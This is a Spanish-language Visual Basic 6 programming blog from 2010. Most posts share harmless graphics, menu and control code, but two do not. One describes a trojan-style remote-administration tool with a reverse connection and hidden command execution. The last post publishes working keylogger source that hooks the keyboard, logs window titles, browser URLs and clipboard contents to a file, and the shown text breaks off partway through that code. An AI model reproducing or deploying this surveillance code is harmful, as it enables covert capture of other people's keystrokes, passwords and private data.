admin

Nov 242010
 

Esta es la primera etapa de un proyecto que estoy realizando, la idea es intentar crear humildemente una herramienta al estilo Poison o Brifrost entre otros tantos que rondan  por la web (ni a palos el Stub final tendrá el tamaño de los mencionados). En esta primera parte está sólo la del explorador de archivos y carpetas.
Para los que no están al tanto sobre estas herramientas, son comúnmente conocidas como troyano, pero esto no tiene por que ser así, también se utilizan como controlador o administrador remoto entre dos o más PC. Este tipo de herramientas cuenta con explorador de archivos, escritorio remoto, keylogger, webcam remota, editor de registros, etc.; es decir podemos controlar otra PC prácticamente como si estuviéramos en la nuestra. Como mencionaba, este proyecto está en su primera parte y sólo cuenta con el explorador.
Si bien quedó muy parecido al de Windows voy a mencionar algunas de las herramientas con las que cuenta:
– Soporta multi-conexiones (cada una de ellas las muestra en una lista con algunos datos -ver figura 4-).
– Cortar, copiar, pegar y renombrar archivos (el portapales es sólo válido para las ventanas del proyecto, no va a interactuar con el Explorer de Windows).
– Eliminar archivos (por seguridad no los elimina completamente sino que los envía a la papelera de reciclaje).
– Cambiar los atributos.
– Comprimir y descomprimir en Zip (muestra el progreso).
– Descargar y transferir archivos (cuenta con un panel en el que podemos realizar más de una descarga o transferencia a la vez -ver figura 3-).
– Buscar archivos tal como lo hacemos en Windows.
– Podemos visualizar en forma de thumbnails cada archivo y carpeta remota.
– Visualizar un detalle muy completo del archivo seleccionado.

– Ejecutar (normal y oculto con líneas de comandos).

Explorador remoto

Explorador remoto

Escritorio remoto

Escritorio remoto

Por defecto utiliza el puerto 100 (aún no es configurable de forma usuario, para cambiarlo buscar en el Form_Load del servidor y el cliente).
Lo mismo para la IP, por defecto utiliza 127.0.0.1 para cambiarlo buscar en el Form_Load del cliente.
La conexión es inversa, e intenta reconectar cada 10 segundos en caso de que la conexión no haya tenido éxito
No tiene dependencias, (Solo funciona con versiones de Windows XP y posteriores.)

Hay muchos cabos sueltos aún ya que sólo se encuentra en etapa de proyecto.

Cosas que me hubiera gustado implementar pero no me dió el cuero:

– Drag and Drop (si bien es posible, no encontré la forma de hacerlo desde el ListView hacia el Explorer de Windows teniendo en cuenta que el archivo hay que descargarlo, digo que es posible ya que el FileZilla FTP lo hace).
– Multiselección de archivos y carpetas (se complicaba mucho, ya que no se puede transferir carpetas, para ellos hay que comprimirlas previamente).
– Poder cambiar el idioma (lo pensé muy tarde y ya venía desorganizado).

Sé que muchos van a preguntar lo mismo, así que ya lo voy aclarando:
– ¿Puede utilizarse a través de internet?,  «SI» pero tienes que saber configurar tu router, modem, firewall, antivirus etc. (yo no les puedo ayudar en eso, preguntar en foros especializados).
– No me conecta!, (Si conecta!!!!, como dije antes, buscar el problema por otro lado.)
– El código de fuente es muy complicado si no se tienen los conocimientos necesarios (yo no puedo ayudarte a implementarle algo más, no es de mala leche pero no hago tareas).

Sin más, esperemos, que no quede tirado y pueda seguir con este proyecto más adelante. Cualquier bugs encontrado o sugerencia pueden notificarlo en los comentarios o en el foro.

Ago 292010
 

Esta es una pequeña aplicación que he realizado, la cual sirve para extraer imágenes que se encuentran como parte de los recursos de una DLL, EXE y otros. Una vez hecho esto, el programa se encarga de convertirlas en iconos con formato .ICO o .PNG.
A continuación se mostrarán dos imágenes, la primera es una imágen de 24 bit con una máscara color magenta, y la segunda una imágen de 32 bit con canal alpha (no se utiliza color de máscara)

Tira_Img_02
Tira_Img0_01

Estas son capturas de la aplicación. En la primera etapa se indica un directorio en dónde buscar y con qué extensión, luego al hacer click en uno de los items nos desplegará todas las imágenes que se encuentran disponibles en ese archivo, seleccionamos una de ellas presionando el botón exportar y nos abrirá una ventana con una vista previa de los íconos y algunas opciones extra.

Bitmap a Iconos
Bitmap a Iconos

Realmente es impresionante las cantidades de imágenes que podremos obtener, hay íconos para todos los gustos. En estos días subiré una carpeta con algunas recopilaciones.

Jul 242010
 

Control de usuario para mostrar un progreso circular indefinido, tal como solemos verlo hoy en día en muchas web o reproductores de videos. Nos puede servir cuando tenemos que realizar operaciones que no sabemos cuánto tiempo pueden llegar a tardar, y así mostrar al usuario que el programa se encuentra pensado, descargado, etc.
Es necesario que dicha operación no cuelgue al programa ya que esto también produciría una interrupción en el timer interno del control y no se mostraría nada.
El control utiliza métodos gráficos de GDI Plus, cuenta con varios aspectos diferentes las cuales pueden crearse jugando con sus propiedades.
A continuación se mostrará una captura gif animada (de baja resolución) de como lucen.

Progress Circular

Jul 212010
 

Módulo clase que permite visualizar un menú con los archivos alojados en nuestra PC, su función principal es la de explorar y recuperar la ruta de un archivo, tal como lo hacen los cuadros de diálogo (CommonDialog). Tiene opciones tales como poder filtrar el o los tipos de archivos requeridos, mostrar o no archivos ocultos, establecer algunas carpetas especiales por defecto en el menú principal, posee un Tooltips con algunos datos del archivo y reconoce los accesos directos.
Utiliza la ClsMenuImage para poder insertar íconos en el menú.
La primera vez que llamemos al menú si es una carpeta con muchos archivos puede ser un poco lento al cargar los items, pero una vez que su cache se haya creado es más rápido.
He tenido que deshabilitar algunas funciones que recuperaban palabras del sistema, lo cual hacía que si se ejecutaba en una PC que su sistema operativo no era en castellano las mostraba en su idioma correcto, este supresión se debe a que algunos antivirus detectaban una o varias Apis como una amenaza (Avira Antivirus).

Menú explorer con XP

Menú explorer con Windows 7

Jul 182010
 

Este es un módulo clase que sirve para insertar imágenes en el menú, a diferencia del control de usuario HookMenu, este sólo requiere un simple módulo, quizás no cuente con una interfaz sencilla para insertar las imágenes ya que con este módulo tendremos que hacerlo mediante código.
Lo que intenté preservar es que el ícono no modifique el estilo visual de Windows, es decir, el menú no tendrá el aspecto de Office o Ribbon.
También cuenta con la posibilidad de agregarle imágenes a la barra de menú y a los menúes creados mediante Apis (CreatePopupMenu).
La clase soporta imágenes .png, .ico y todos los formatos estándar de imágenes. Este módulo sólo funcionará en Windows XP y posteriores, ya que las versiones anteriores no cuentan con GDI Plus.
En Windows XP el módulo necesita subclasificar la ventana que contiene o llama al menú, pero en Windows Vista y Windows 7 esto no es necesario ya que corrigieron el error que tenían los menúes con bitmaps.

Menú con imágenes XP

Barra de menú con imágenes XP

Nótese que en Windows Vista y Windows 7 se mantienen los estilos visuales de Windows.

Menú con imágenes Seven
Barra de menú con imágenes Seven

Abr 272010
 

Esta es una función para dibujar esferas utilizando GDI+. Existen varios diseños, yo elegí este, el cual está conformado con un color gradient central, una luz que la enfoca por encima y una sombra del mismo color que la esfera.
Es muy entretenido jugar con los métodos gráficos de GDI+ ya que nos permite utilizar transparencias, anti-alias y muchas funciones con las cuales podríamos hacer gráficos tal como en Photo Shop.

Esferas


Option Explicit
 
' ------------------------------------------------------------
' Autor:    Leandro I. Ascierto
' Fecha:    27 de Abril de 2010
' Web:      www.leandroascierto.com.ar
' ------------------------------------------------------------

Private Declare Function GdipCreateFromHDC Lib "gdiplus" (ByVal hdc As Long, ByRef graphics As Long) As Long
Private Declare Function GdipDeleteGraphics Lib "gdiplus" (ByVal graphics As Long) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (ByRef token As Long, ByRef lpInput As GDIPlusStartupInput, Optional ByRef lpOutput As Any) As Long
Private Declare Function GdiplusShutdown Lib "gdiplus" (ByVal token As Long) As Long
Private Declare Function GdipSetSmoothingMode Lib "GdiPlus.dll" (ByVal mGraphics As Long, ByVal mSmoothingMode As Long) As Long
Private Declare Function GdipDeleteBrush Lib "GdiPlus.dll" (ByVal mBrush As Long) As Long
Private Declare Function GdipFillEllipseI Lib "GdiPlus.dll" (ByVal mGraphics As Long, ByVal mBrush As Long, ByVal mX As Long, ByVal mY As Long, ByVal mWidth As Long, ByVal mHeight As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GdipCreatePath Lib "GdiPlus.dll" (ByVal mBrushMode As Long, ByRef mPath As Long) As Long
Private Declare Function GdipDeletePath Lib "GdiPlus.dll" (ByVal mPath As Long) As Long
Private Declare Function GdipCreateLineBrushFromRectI Lib "GdiPlus.dll" (ByRef mRect As RECTL, ByVal mColor1 As Long, ByVal mColor2 As Long, ByVal mMode As LinearGradientMode, ByVal mWrapMode As WrapMode, ByRef mLineGradient As Long) As Long
Private Declare Function GdipAddPathEllipseI Lib "GdiPlus.dll" (ByVal mPath As Long, ByVal mX As Long, ByVal mY As Long, ByVal mWidth As Long, ByVal mHeight As Long) As Long
Private Declare Function GdipSetPathGradientCenterColor Lib "GdiPlus.dll" (ByVal mBrush As Long, ByVal mColors As Long) As Long
Private Declare Function GdipSetPathGradientSurroundColorsWithCount Lib "GdiPlus.dll" (ByVal mBrush As Long, ByRef mColor As Long, ByRef mCount As Long) As Long
Private Declare Function GdipCreatePathGradientFromPath Lib "GdiPlus.dll" (ByVal mPath As Long, ByRef mPolyGradient As Long) As Long
Private Declare Function GdipSetLinePresetBlend Lib "GdiPlus.dll" (ByVal mBrush As Long, ByRef mBlend As Long, ByRef mPositions As Single, ByVal mCount As Long) As Long
Private Declare Function OleTranslateColor Lib "oleaut32.dll" (ByVal lOleColor As Long, ByVal lHPalette As Long, ByVal lColorRef As Long) As Long
 
Private Type RECTL
    Left    As Long
    Top     As Long
    Width   As Long
    Height  As Long
End Type
 
Private Enum LinearGradientMode
    LinearGradientModeHorizontal = &H0
    LinearGradientModeVertical = &H1
    LinearGradientModeForwardDiagonal = &H2
    LinearGradientModeBackwardDiagonal = &H3
End Enum
 
Private Enum WrapMode
    WrapModeTile = &H0
    WrapModeTileFlipX = &H1
    WrapModeTileFlipy = &H2
    WrapModeTileFlipXY = &H3
    WrapModeClamp = &H4
End Enum
 
Private Type GDIPlusStartupInput
    GdiPlusVersion                      As Long
    DebugEventCallback                  As Long
    SuppressBackgroundThread            As Long
    SuppressExternalCodecs              As Long
End Type
 
Private Const SmoothingModeAntiAlias    As Long = &H4
Dim GdipToken As Long
 
 
Private Sub Form_Load()
    Call InitGDI
    Me.AutoRedraw = True
    DrawSphere Me.hdc, vbBlue, 10, 20, 150, 150
    DrawSphere Me.hdc, vbGreen, 180, 20, 150, 150
    DrawSphere Me.hdc, vbRed, 350, 20, 150, 150
    DrawSphere Me.hdc, vbYellow, 10, 210, 150, 150
    DrawSphere Me.hdc, vbBlack, 180, 210, 150, 150
    DrawSphere Me.hdc, vbMagenta, 350, 210, 150, 150
    DrawSphere Me.hdc, vbCyan, 10, 400, 150, 150
    DrawSphere Me.hdc, vbWhite, 180, 400, 150, 150
    DrawSphere Me.hdc, &H99FF&, 350, 400, 150, 150
End Sub
 
 
Private Sub Form_Unload(Cancel As Integer)
    Call TerminateGDI
End Sub
 
 
Public Function DrawSphere(ByVal hdc As Long, _
                           ByVal lColor As Long, _
                           ByVal X As Long, _
                           ByVal Y As Long, _
                           ByVal Width As Long, _
                           ByVal Height As Long, _
                           Optional ByVal bDrawShadow As Boolean = True, _
                           Optional ByVal lAlpha As Long = 100) As Boolean
 
    Dim hGraphics As Long
    Dim hBrush As Long
    Dim mPath As Long
    Dim mRect As RECTL
    Dim col(2) As Long
    Dim pos(2) As Single
 
    'crea un grafico a partir de un hdc
    If GdipCreateFromHDC(hdc, hGraphics) = 0 Then
 
        'aplica el modo antialias
        Call GdipSetSmoothingMode(hGraphics, SmoothingModeAntiAlias)
 
 
        ' ----------------------------- Shadow -------------------------------------
        If bDrawShadow Then
 
            Call GdipCreatePath(&H0, mPath)                                                         'Crea un Path
            GdipAddPathEllipseI mPath, X, Y + Height / 1.1, Width, Height / 4                       'Dibuja un Circulo
            GdipCreatePathGradientFromPath mPath, hBrush                                            'Crea una brocha a partir de el Path
            
            GdipSetPathGradientCenterColor hBrush, ConvertColor(lColor, lAlpha / 3)                 'Asigna un color central a la brocha
            GdipSetPathGradientSurroundColorsWithCount hBrush, 0, 1                                 'Aplica un color Transparente al contorno de la brocha/circulo
    
            Call GdipFillEllipseI(hGraphics, hBrush, X, Y + Height / 1.1, Width, Height / 4)        'dibuja la sombra en el grafico
            
            Call GdipDeleteBrush(hBrush)                                                            'Descarga la brocha
            Call GdipDeletePath(mPath)                                                              'Descarga el Path
        End If
 
        '----------------------------- Sphere -------------------------------------
               
        Call GdipCreatePath(&H0, mPath)                                                              'Crea un Path
        
        GdipAddPathEllipseI mPath, X - (Width / 1.75), Y - Height / 2, Width * 2, Height * 2         'Dibuja un Circulo en el path
        GdipCreatePathGradientFromPath mPath, hBrush                                                 'Crea una brocha a partir de el Path
        GdipSetPathGradientCenterColor hBrush, ConvertColor(lColor, lAlpha)                          'Asigna el color central a la brocha
        GdipSetPathGradientSurroundColorsWithCount hBrush, ConvertColor(ShiftColor(lColor, vbBlack, 100), lAlpha), 1 'Aplica un color mas opaco al gradient de la brocha
        
        Call GdipFillEllipseI(hGraphics, hBrush, X, Y, Width, Height)                                'Dibuja un circulo en el grafico
        Call GdipDeleteBrush(hBrush)                                                                 'Descarga la brocha
        Call GdipDeletePath(mPath)                                                                   'Descarga el Path
        
        '----------------------------- Light -------------------------------------
        
        mRect.Left = X + Width / 10
        mRect.Top = Y + Height / 50
        mRect.Width = Width - Width / 5
        mRect.Height = Height / 1.5
 
        GdipCreateLineBrushFromRectI mRect, 0, 0, LinearGradientModeVertical, WrapModeTileFlipy, hBrush 'crea una brocha de dos colores

        col(0) = ConvertColor(vbWhite, lAlpha / 1.25)           'Primer color
        col(1) = 0                                              'segundo color transparente
        col(2) = 0                                              'tercer color transparente

        pos(0) = 0
        pos(1) = 0.6                                            'El 60% de la brocha va a ser transparente
        pos(2) = 1
 
        Call GdipSetLinePresetBlend(hBrush, col(0), pos(0), 3)  'Asigna los valores para la brocha
        Call GdipFillEllipseI(hGraphics, hBrush, mRect.Left, mRect.Top, mRect.Width, mRect.Height - 1) 'dibuja un circulo aplastado semi transparente
        Call GdipDeleteBrush(hBrush)                            'Elimina la brocha
        
        ' ------------------------------------------------------------------------

        Call GdipDeleteGraphics(hGraphics)                       'Elimina el grafico.
    End If
 
End Function
 
' funcion para convertir un color long a un BGRA(Blue, Green, Red, Alpha)
Private Function ConvertColor(Color As Long, Opacity As Long) As Long
    Dim BGRA(0 To 3) As Byte
 
    BGRA(3) = CByte((Abs(Opacity) / 100) * 255)
    BGRA(0) = ((Color \ &H10000) And &HFF)
    BGRA(1) = ((Color \ &H100) And &HFF)
    BGRA(2) = (Color And &HFF)
    CopyMemory ConvertColor, BGRA(0), 4&
End Function
 
'Funcion para combinar dos colores
Private Function ShiftColor(ByVal clrFirst As Long, ByVal clrSecond As Long, ByVal lAlpha As Long) As Long
 
    Dim clrFore(3)         As Byte
    Dim clrBack(3)         As Byte
 
    OleTranslateColor clrFirst, 0, VarPtr(clrFore(0))
    OleTranslateColor clrSecond, 0, VarPtr(clrBack(0))
 
    clrFore(0) = (clrFore(0) * lAlpha + clrBack(0) * (255 - lAlpha)) / 255
    clrFore(1) = (clrFore(1) * lAlpha + clrBack(1) * (255 - lAlpha)) / 255
    clrFore(2) = (clrFore(2) * lAlpha + clrBack(2) * (255 - lAlpha)) / 255
 
    CopyMemory ShiftColor, clrFore(0), 4
 
End Function
 
'Inicia GDI+
Private Sub InitGDI()
    Dim GdipStartupInput As GDIPlusStartupInput
    GdipStartupInput.GdiPlusVersion = 1&
    Call GdiplusStartup(GdipToken, GdipStartupInput, ByVal 0)
End Sub
 
'Termina GDI+
Private Sub TerminateGDI()
    Call GdiplusShutdown(GdipToken)
End Sub
 

Abr 132010
 

Módulo bas para poder guardar y recuperar información en un servidor web, similar a las funciones SaveSetting o GetSetting de Visual Basic pero de forma remota, la pregunta del millón es para que zapallo sirve esto?, principalmente es parte de mi aburrimiento, pero puede ser muy útil para ciertas ocasiones, como por ejemplo almacenar la ultima versión disponible de nuestra aplicación, la Url de descarga, licencia del programa, también para  almacenar alguna IP supongamos que un servidor tiene una IP cambiante este podría guardar esa IP para que pueda  recogerla el cliente, y muchas cosas más es cuestión de usar la imaginación, esta configurado para almacenar un máximo de quinientos caracteres por cada clave.
Como seguridad tiene un parámetro para que ustedes puedan asignar un Password personal, los datos no son encriptados. si ustedes piensan que esto debería hacerse lo comunican, tenia pensado utilizar encriptación base64. uno de los problemas de no encriptarlos, es que el servidor que estoy usando limita alguna palabras como por ejemplo «Msn Messenger», pero bien en el ejemplo puse los script de PHP y la estructura de la tabla, así que pueden subirlos al servidor que ustedes quieran, el que use en el ejemplo lo voy a dejar siempre y cuando ningún vivo trate de sobrecargar la base de datos. es una utilidad para que la usemos todos, no la caguen.

 Publicado por a las 21:47  Tagged with:
Abr 132010
 

Módulo Clase crear una conversación entre ejecutables, esto significa que podemos pasar datos de un ejecutable a otro, por ejemplo, si nuestra aplicación se esta ejecutando y alguien la vuelve a ejecutar pasándole un comando, podemos enviar este comando la primera aplicación, por ejemplo como lo hace Windows Media Player, vale aclarar que esto sirve para utilizar dentro del mismo PC no en una red LAN o internet, no confundir con sockets.
También se puede usar para ejecutar dos tareas independiente, y que una aplicación le pase a la otra, la información que proceso.
Ablando técnicamente de la clase no utiliza las Apis de DDE si no un truco enviando el msj WM_COPYDATA a una ventana que crea la clase. Este proyecto lo hice en base a una clase que había realizado Cobein usando una técnica parecida.

 Publicado por a las 21:12  Tagged with:
Abr 022010
 

Esta función la misma pero utilizando GDI Plus con más opciones, es muy útil a hora de trabajar con gráficos ya que se gana mucha velocidad.

FillRectPlus.png


Option Explicit
'------------------------------------------------------
'Autor: Leandro Ascierto
'Web:   www.leandroascierto.com.ar
'Fecha  02/04/2010
'------------------------------------------------------
Private Declare Function GdipCreateFromHDC Lib "gdiplus" (ByVal hdc As Long, ByRef graphics As Long) As Long
Private Declare Function GdipDeleteGraphics Lib "gdiplus" (ByVal graphics As Long) As Long
Private Declare Function GdipLoadImageFromFile Lib "gdiplus" (ByVal FileName As Long, ByRef image As Long) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (ByRef token As Long, ByRef lpInput As GDIPlusStartupInput, Optional ByRef lpOutput As Any) As Long
Private Declare Function GdiplusShutdown Lib "gdiplus" (ByVal token As Long) As Long
Private Declare Function GdipDisposeImage Lib "gdiplus" (ByVal image As Long) As Long
Private Declare Function GdipCreateTexture Lib "GdiPlus.dll" (ByVal mImage As Long, ByVal mWrapMode As WrapMode, ByRef mTexture As Long) As Long
Private Declare Function GdipFillRectangle Lib "GdiPlus.dll" (ByVal mGraphics As Long, ByVal mBrush As Long, ByVal mX As Single, ByVal mY As Single, ByVal mWidth As Single, ByVal mHeight As Single) As Long
Private Declare Function GdipDeleteBrush Lib "GdiPlus.dll" (ByVal mBrush As Long) As Long
Private Declare Function GdipScaleTextureTransform Lib "GdiPlus.dll" (ByVal mBrush As Long, ByVal mSx As Single, ByVal mSy As Single, ByVal mOrder As Long) As Long
Private Declare Function GdipTranslateTextureTransform Lib "GdiPlus.dll" (ByVal mBrush As Long, ByVal mDx As Single, ByVal mDy As Single, ByVal mOrder As Long) As Long
 
Private Enum WrapMode
    WrapModeTile = &H0
    WrapModeTileFlipX = &H1
    WrapModeTileFlipy = &H2
    WrapModeTileFlipXY = &H3
    WrapModeClamp = &H4
End Enum
 
Private Type GDIPlusStartupInput
    GdiPlusVersion                      As Long
    DebugEventCallback                  As Long
    SuppressBackgroundThread            As Long
    SuppressExternalCodecs              As Long
End Type
 
Private Const GdiPlusVersion            As Long = 1&
 
Dim GdipToken As Long
 
Private Function FillRectPlus(ByVal hdc As Long, _
                                ByVal hImage As Long, _
                                ByVal x As Single, _
                                ByVal y As Single, _
                                ByVal Width As Single, _
                                ByVal Height As Single, _
                                Optional ByVal nScaleX As Single = 1, _
                                Optional ByVal nScaleY As Single = 1, _
                                Optional EnuWrapMode As WrapMode) As Boolean 
 
    Dim hGraphics As Long
    Dim hBrush As Long
 
    If GdipCreateFromHDC(Me.hdc, hGraphics) = 0 Then 
        If GdipCreateTexture(hImage, EnuWrapMode, hBrush) = 0 Then 
            Call GdipTranslateTextureTransform(hBrush, x, y, 0) 
            Call GdipScaleTextureTransform(hBrush, nScaleX, nScaleY, 0) 
            FillRectPlus = GdipFillRectangle(hGraphics, hBrush, x, y, Width, Height) = 0 
            Call GdipDeleteBrush(hBrush)
        End If 
        Call GdipDeleteGraphics(hGraphics) 
    End If
 
End Function 
 
Private Sub InitGDI()
    Dim GdipStartupInput As GDIPlusStartupInput
    GdipStartupInput.GdiPlusVersion = GdiPlusVersion
    Call GdiplusStartup(GdipToken, GdipStartupInput, ByVal 0)
End Sub 
 
Private Sub TerminateGDI()
    Call GdiplusShutdown(GdipToken)
End Sub
  
Private Sub Form_Load()
    Dim hImage As Long 
    Me.AutoRedraw = True 
    InitGDI 
    If GdipLoadImageFromFile(StrPtr(App.Path & "\Text.png"), hImage) = 0 Then 
        FillRectPlus Me.hdc, hImage, 10, 10, 200, 200 
        Call GdipDisposeImage(hImage)
    End If 
    TerminateGDI
End Sub
Mar 222010
 

Control de usuario de tipo contenedor de controles con barras deslizables. Los ScrollBar se autoajustan según las posiciones de los controles insertados, por lo que no requiere ningún código extra. Cuenta con una propiedad que sigue el foco a medida que vamos tabulando, también tiene la propiedad de poder enganchar con el mouse el control y deslizarlo, utiliza los temas de Windows sin necesidad de que utilicemos un .exe.manifest. Está plenamente hecho con Apis de Windows, tiene soporte para la rueda del mouse. No le he agregado eventos, si alguien tiene la necesidad ya saben, es código abierto y pueden hacerlo ustedes mismos.
Nota: No deben utilizarse ventanas de tipo Windowless (imágen, shape, line, labels) directamente sobre el control, para ello es conveniente utilizar un Frame o PictureBox de contenedor para poder insertarlos sobre este control.

Ejemplo ScrollBar
Ejemplo Grillas

Mar 032010
 

Control de usuario para poder escribir direcciones de correo de una forma muy sencilla tal como la que utiliza el correo de Hotmail, cuenta con una lista desplegable con las posibles sugerencias del Nombre, Apellido y Email de los contactos a quienes queremos escribir. El control valida cada dirección de correo ingresada, de no ser correcta la marca en rojo. Este control también sirve para crear una lista de archivos adjuntos.
El UserControl depende de dos controles de usuario más y un módulo Clase, cuenta con las opciones básicas y algunos eventos que creo que son los suficientemente necesarios para un uso común, es código abierto cualquiera lo puede adaptar a su necesidad.

Email Control

Aquí en la captura se muestra cómo la lista nos va sugiriendo cual de nuestros contacto queremos escribir.

Lista de sugerencias

Feb 132010
 

Este es un módulo .bas de un Keylogger, sirve para capturar las pulsaciones del teclado y almacenarlas en un fichero de texto plano, trae como adicional poder almacenar el título de la ventana activa, la URL en caso de que dicha ventana sea un navegador y el texto del portapapeles. Está hecho con fines educativos, los métodos empleados son Hook al teclado, Hook de la ventana activa, conversación DDE para las URL y Hook del portapapeles. Vale destacar que no utiliza ningún tipo de timer para cualquiera de estas operaciones, lo cual hace que sea más eficiente y consuma menos procesador.

Módulo:

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com
'Fecha:   13-02-2010
'save input Keys, Active Widows, Url from Navigators and clipboard
'------------------------------------
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function RegisterWindowMessage Lib "user32" Alias "RegisterWindowMessageA" (ByVal lpString As String) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function RegisterShellHook Lib "Shell32" Alias "#181" (ByVal hwnd As Long, ByVal nAction As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32.dll" (ByVal wFormat As Long) As Long
Private Declare Function SetClipboardViewer Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByRef pData As Byte, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)

Private Const XCLASS_DATA               As Long = &H2000
Private Const XTYP_REQUEST              As Long = (&HB0 Or XCLASS_DATA)

Private Const CP_WINANSI                As Long = 1004
Private Const CF_TEXT                   As Long = 1

Private Const WM_SETTEXT                As Long = &HC
Private Const WM_GETTEXTLENGTH          As Long = &HE
Private Const WM_GETTEXT                As Long = &HD

Private Const RSH_REGISTER_TASKMAN      As Long = 3
Private Const HSHELL_WINDOWACTIVATED    As Long = 4
Private Const WH_KEYBOARD_LL            As Long = 13
Private Const SHELLHOOKMESSAGE          As String = "SHELLHOOK"
Private Const GWL_WNDPROC               As Long = -4

Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&

Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WM_DRAWCLIPBOARD          As Long = &H308

Private WM_SHELLHOOK                    As Long
Private hEdit                           As Long
Private hHook                           As Long
Private WinProc                         As Long
Private hFile                           As Integer
Private LastActiveWindow                As Long

Public Function StarKeyLogger(ByVal DestPath As String) As Boolean

    If hEdit Then Exit Function

    hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)

    If hEdit <> 0 Then
        hFile = FreeFile
        Open DestPath For Append As #hFile
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
        WM_SHELLHOOK = RegisterWindowMessage(SHELLHOOKMESSAGE)
        RegisterShellHook hEdit, RSH_REGISTER_TASKMAN
        SetClipboardViewer hEdit
        WinProc = SetWindowLong(hEdit, GWL_WNDPROC, AddressOf WndProc)
        StarKeyLogger = True
    End If

End Function

Public Function EndKeyLogger() As Boolean
    If hEdit <> 0 Then
        Call UnhookWindowsHookEx(hHook)
        Call SetWindowLong(hEdit, GWL_WNDPROC, WinProc)
        If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hEdit)
        DestroyWindow hEdit: hEdit = 0
        Close #hFile
        EndKeyLogger = True
    End If
End Function

Private Function WndProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    On Error Resume Next

    Dim sRet As String

    WndProc = CallWindowProc(WinProc, hwnd, uMsg, wParam, lParam)

    Select Case uMsg
        Case WM_SHELLHOOK

            If wParam = HSHELL_WINDOWACTIVATED Then
                If lParam <> 0 And LastActiveWindow <> lParam Then
                    LastActiveWindow = lParam

                    If GetWindowTextLength(hEdit) > 0 Then SaveLog GetWindowText(hwnd)

                    Select Case ClassNameOf(lParam)
                        Case "MozillaUIWindowClass", "MozillaWindowClass"
                            sRet = GetBrowserInfo("firefox")
                        Case "IEFrame"
                            sRet = GetBrowserInfo("iexplore")
                        Case "OpWindow"
                            sRet = GetBrowserInfo("opera")
                    End Select

                    If sRet <> "" Then
                        SaveLog "[" & Now & "] Ventana Activa: " & GetWindowText(lParam) & vbCrLf & sRet & vbCrLf & String(100, "-") & vbCrLf
                    Else
